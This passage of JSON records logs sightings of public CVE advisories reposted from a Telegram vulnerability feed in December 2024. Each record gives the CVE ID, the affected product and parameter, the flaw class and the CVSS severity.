unknown part of the file /api/job/add/. The manipulation of the argument glueSource leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:06.000000Z"}, {"uuid": "14b484d5-d877-45c7-ad02-70c192a59a86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12306", "type": "seen", "source": "https://t.me/cvedetector/12366", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12306 - Oracle Unifiedtransform Access Control Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12306 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : Multiple access control vulnerabilities in Unifiedtransform version 2.0 and potentially earlier versions allow unauthorized access to personal information of students and teachers. The vulnerabilities include both function-level access control issues in list viewing endpoints and object-level access control issues in profile viewing endpoints. A malicious student user can access personal information of other students and teachers through these vulnerabilities. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:47.000000Z"}, {"uuid": "439f41ed-2f1d-4e66-87bb-6227d422c05d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12307", "type": "seen", "source": "https://t.me/cvedetector/12365", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12307 - Unifiedtransform Teacher Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12307 \nPublished : Dec. 9, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : A function-level access control vulnerability in Unifiedtransform version 2.0 and potentially earlier versions allows teachers to modify student personal data without proper authorization. The vulnerability exists due to missing access control checks in the student editing functionality. At the time of publication of the CVE no patch is available. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T11:20:46.000000Z"}, {"uuid": "5376231b-5a53-489a-a356-b95f1d1472b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12360", "type": "seen", "source": "https://t.me/cvedetector/12362", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12360 - \"Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12360 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0. It has been rated as critical. This issue affects some unknown processing of the file class_update.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:07.000000Z"}, {"uuid": "7fa41137-d67c-4a9f-b8cd-3f7f0027d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12357", "type": "seen", "source": "https://t.me/cvedetector/12363", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12357 - SourceCodester Best House Rental Management System Remote File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12357 \nPublished : Dec. 9, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in SourceCodester Best House Rental Management System 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T07:10:08.000000Z"}, {"uuid": "6aa7ee47-d78a-4123-b26e-a0f761de25fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12355", "type": "seen", "source": "https://t.me/cvedetector/12344", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12355 - SourceCodester Phone Contact Manager System Local Input Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12355 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability has been found in SourceCodester Phone Contact Manager System 1.0 and classified as problematic. Affected by this vulnerability is the function ContactBook::adding of the file ContactBook.cpp. The manipulation leads to improper input validation. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:19.000000Z"}, {"uuid": "a5b95321-c534-4f13-92e5-22636d5c9faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12354", "type": "seen", "source": "https://t.me/cvedetector/12342", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12354 - SourceCodester Phone Contact Manager Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12354 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in SourceCodester Phone Contact Manager System 1.0. Affected is the function UserInterface::MenuDisplayStart of the component User Menu. The manipulation leads to buffer overflow. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:17.000000Z"}, {"uuid": "fcf4c2d6-b3fe-40dc-83b4-d9f0a33b53f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12351", "type": "seen", "source": "https://t.me/cvedetector/12340", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12351 - JFinalCMS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12351 \nPublished : Dec. 9, 2024, 1:15 a.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in JFinalCMS 1.0. This affects the function findPage of the file src\\main\\java\\com\\cms\\entity\\ContentModel.java of the component File Content Handler. The manipulation of the argument name leads to sql injection. It is possible to initiate the attack remotely. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:16.000000Z"}, {"uuid": "a6b443ec-a878-4d85-bb9a-0a67c65db738", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12350", "type": "seen", "source": "https://t.me/cvedetector/12339", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12350 - A vulnerability was found in JFinalCMS 1.0. It has\", \n  \"Content\": \"CVE ID : CVE-2024-12350 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in JFinalCMS 1.0. It has been rated as critical. Affected by this issue is the function update of the file \\src\\main\\java\\com\\cms\\controller\\admin\\TemplateController.java of the component Template Handler. The manipulation of the argument content leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:06.000000Z"}, {"uuid": "0146e753-dfd1-4215-9eb7-65e6d0d7f3a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12349", "type": "seen", "source": "https://t.me/cvedetector/12338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12349 - JFinalCMS Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12349 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in JFinalCMS 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /admin/tag/save. The manipulation leads to cross-site request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:06.000000Z"}, {"uuid": "1dbb1dd1-3f1b-46c4-b08b-b8cd536a5edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12348", "type": "seen", "source": "https://t.me/cvedetector/12337", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12348 - A vulnerability was found in Guizhou Xiaoma Techno\", \n  \"Content\": \"CVE ID : CVE-2024-12348 \nPublished : Dec. 9, 2024, 1:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in Guizhou Xiaoma Technology jpress 5.1.2. It has been classified as problematic. Affected is the function AttachmentUtils.isUnSafe of the file /commons/attachment/upload of the component Attachment Upload Handler. The manipulation of the argument files[] leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:59:05.000000Z"}, {"uuid": "da94c529-43ec-4346-ac91-08e338d3bee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12346", "type": "seen", "source": "https://t.me/cvedetector/12336", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12346 - Talentera Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12346 \nPublished : Dec. 9, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability has been found in Talentera up to 20241128 and classified as problematic. This vulnerability affects unknown code of the file /app/control/byt_cv_manager. The manipulation of the argument redirect_url leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The provided PoC only works in Mozilla Firefox. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:09:02.000000Z"}, {"uuid": "0f72b4bf-9726-4726-bf71-db4f18c6344f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12347", "type": "seen", "source": "https://t.me/cvedetector/12335", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12347 - \"Guangzhou Huayi Intelligent Technology Jeewms Druid Monitoring Interface Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12347 \nPublished : Dec. 9, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in Guangzhou Huayi Intelligent Technology Jeewms up to 1.0.0 and classified as critical. This issue affects some unknown processing of the file /jeewms_war/webpage/system/druid/index.html of the component Druid Monitoring Interface. The manipulation leads to improper authorization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T02:08:58.000000Z"}, {"uuid": "a8c31263-a064-4bf2-ad5e-678532340b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://t.me/cvedetector/12334", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12344 - TP-Link FTP USER Command Handler Remote Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12344 \nPublished : Dec. 8, 2024, 11:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in TP-Link VN020 F3v(T) TT_V6.2.1021. This affects an unknown part of the component FTP USER Command Handler. The manipulation leads to memory corruption. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T01:18:40.000000Z"}, {"uuid": "4d28adeb-3259-422a-a721-7a34d71353fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12343", "type": "seen", "source": "https://t.me/cvedetector/12332", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12343 - TP-Link SOAP Request Handler Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12343 \nPublished : Dec. 8, 2024, 10:15 a.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in TP-Link VN020 F3v(T) TT_V6.2.1021. Affected is an unknown function of the file /control/WANIPConnection of the component SOAP Request Handler. The manipulation of the argument NewConnectionType leads to buffer overflow. The attack needs to be done within the local network. The exploit has been disclosed to the public and may be used. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T11:56:11.000000Z"}, {"uuid": "74a17fcd-adb5-4d04-8a9f-199fefb34414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12342", "type": "seen", "source": "https://t.me/cvedetector/12331", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12342 - \"TP-Link WANIPConnection Denial of Service Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12342 \nPublished : Dec. 8, 2024, 7:15 a.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in TP-Link VN020 F3v(T) TT_V6.2.1021. It has been rated as critical. This issue affects some unknown processing of the file /control/WANIPConnection of the component Incomplete SOAP Request Handler. The manipulation leads to denial of service. The attack can only be initiated within the local network. The exploit has been disclosed to the public and may be used. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T09:25:40.000000Z"}, {"uuid": "02356267-33d0-4e92-a38f-a380605eb562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/cvedetector/12330", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12209 - \"WP Umbrella: Remote File Execution via arbitrary file inclusion\"\", \n  \"Content\": \"CVE ID : CVE-2024-12209 \nPublished : Dec. 8, 2024, 6:15 a.m. | 22\u00a0minutes ago \nDescription : The WP Umbrella: Update Backup Restore & Monitoring plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.17.0 via the 'filename' parameter of the 'umbrella-restore' action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-08T07:45:18.000000Z"}, {"uuid": "097a26a0-d23e-45ef-a395-cd27dd9b6630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12128", "type": "seen", "source": "https://t.me/cvedetector/12319", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12128 - PayPal Simple Ecommerce Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12128 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018monthly_sales_current_year\u2019 parameter in all versions up to, and including, 3.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:59.000000Z"}, {"uuid": "f5da81a2-256a-4022-a786-16f518c01762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12026", "type": "seen", "source": "https://t.me/cvedetector/12305", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12026 - The Message Filter for Contact Form 7 plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12026 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Message Filter for Contact Form 7 plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the saveFilter() function in all versions up to, and including, 1.6.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new filters. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:46.000000Z"}, {"uuid": "69ece474-a507-4164-92a9-099082fd14fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://t.me/cvedetector/12316", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12270 - \"Beautiful Taxonomy Filters for WordPress SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12270 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Beautiful taxonomy filters plugin for WordPress is vulnerable to SQL Injection via the 'selects[0][term]' parameter in all versions up to, and including, 2.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:57.000000Z"}, {"uuid": "dac36234-48d5-4b20-bae5-873c591c3c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12253", "type": "seen", "source": "https://t.me/cvedetector/12315", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12253 - PayPal WordPress Sell Products Unauthorized Access\", \n  \"Content\": \"CVE ID : CVE-2024-12253 \nPublished : Dec. 7, 2024, 10:15 a.m. | 20\u00a0minutes ago \nDescription : The Simple Ecommerce Shopping Cart Plugin- Sell products through Paypal plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'save_settings', 'export_csv', and 'simpleecommcart-action' actions in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to update the plugins settings and retrieve order and log data (which is also accessible to unauthenticated users). \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T11:41:56.000000Z"}, {"uuid": "3785eb82-7491-496d-ac5d-e1a19d062902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12166", "type": "seen", "source": "https://t.me/cvedetector/12308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12166 - The Shortcodes Blocks Creator Ultimate plugin for\", \n  \"Content\": \"CVE ID : CVE-2024-12166 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:51.000000Z"}, {"uuid": "e326be16-ddad-40d7-9482-316c25d58e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12165", "type": "seen", "source": "https://t.me/cvedetector/12307", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12165 - The Mollie for Contact Form 7 plugin for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12165 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Mollie for Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 5.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:47.000000Z"}, {"uuid": "a3a4d911-222c-4981-a94c-16367bc8a421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12115", "type": "seen", "source": "https://t.me/cvedetector/12306", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12115 - The Poll Maker \u2013 Versus Polls, Anonymous Polls, Im\", \n  \"Content\": \"CVE ID : CVE-2024-12115 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Poll Maker \u2013 Versus Polls, Anonymous Polls, Image Polls plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.5.4. This is due to missing or incorrect nonce validation on the duplicate_poll() function. This makes it possible for unauthenticated attackers to duplicate polls via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:47.000000Z"}, {"uuid": "1d244a2e-a02f-4955-9699-859bd7ab6cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12257", "type": "seen", "source": "https://t.me/cvedetector/12300", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12257 - The CardGate Payments for WooCommerce plugin for W\", \n  \"Content\": \"CVE ID : CVE-2024-12257 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The CardGate Payments for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:39.000000Z"}, {"uuid": "049458d8-cf87-4ae7-9cf0-32fc486fc865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12167", "type": "seen", "source": "https://t.me/cvedetector/12298", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12167 - The Shortcodes Blocks Creator Ultimate plugin for\", \n  \"Content\": \"CVE ID : CVE-2024-12167 \nPublished : Dec. 7, 2024, 2:15 a.m. | 37\u00a0minutes ago \nDescription : The Shortcodes Blocks Creator Ultimate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wpnonce' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-07T04:10:38.000000Z"}, {"uuid": "f408a059-ba1a-4110-810f-800f049af99d", 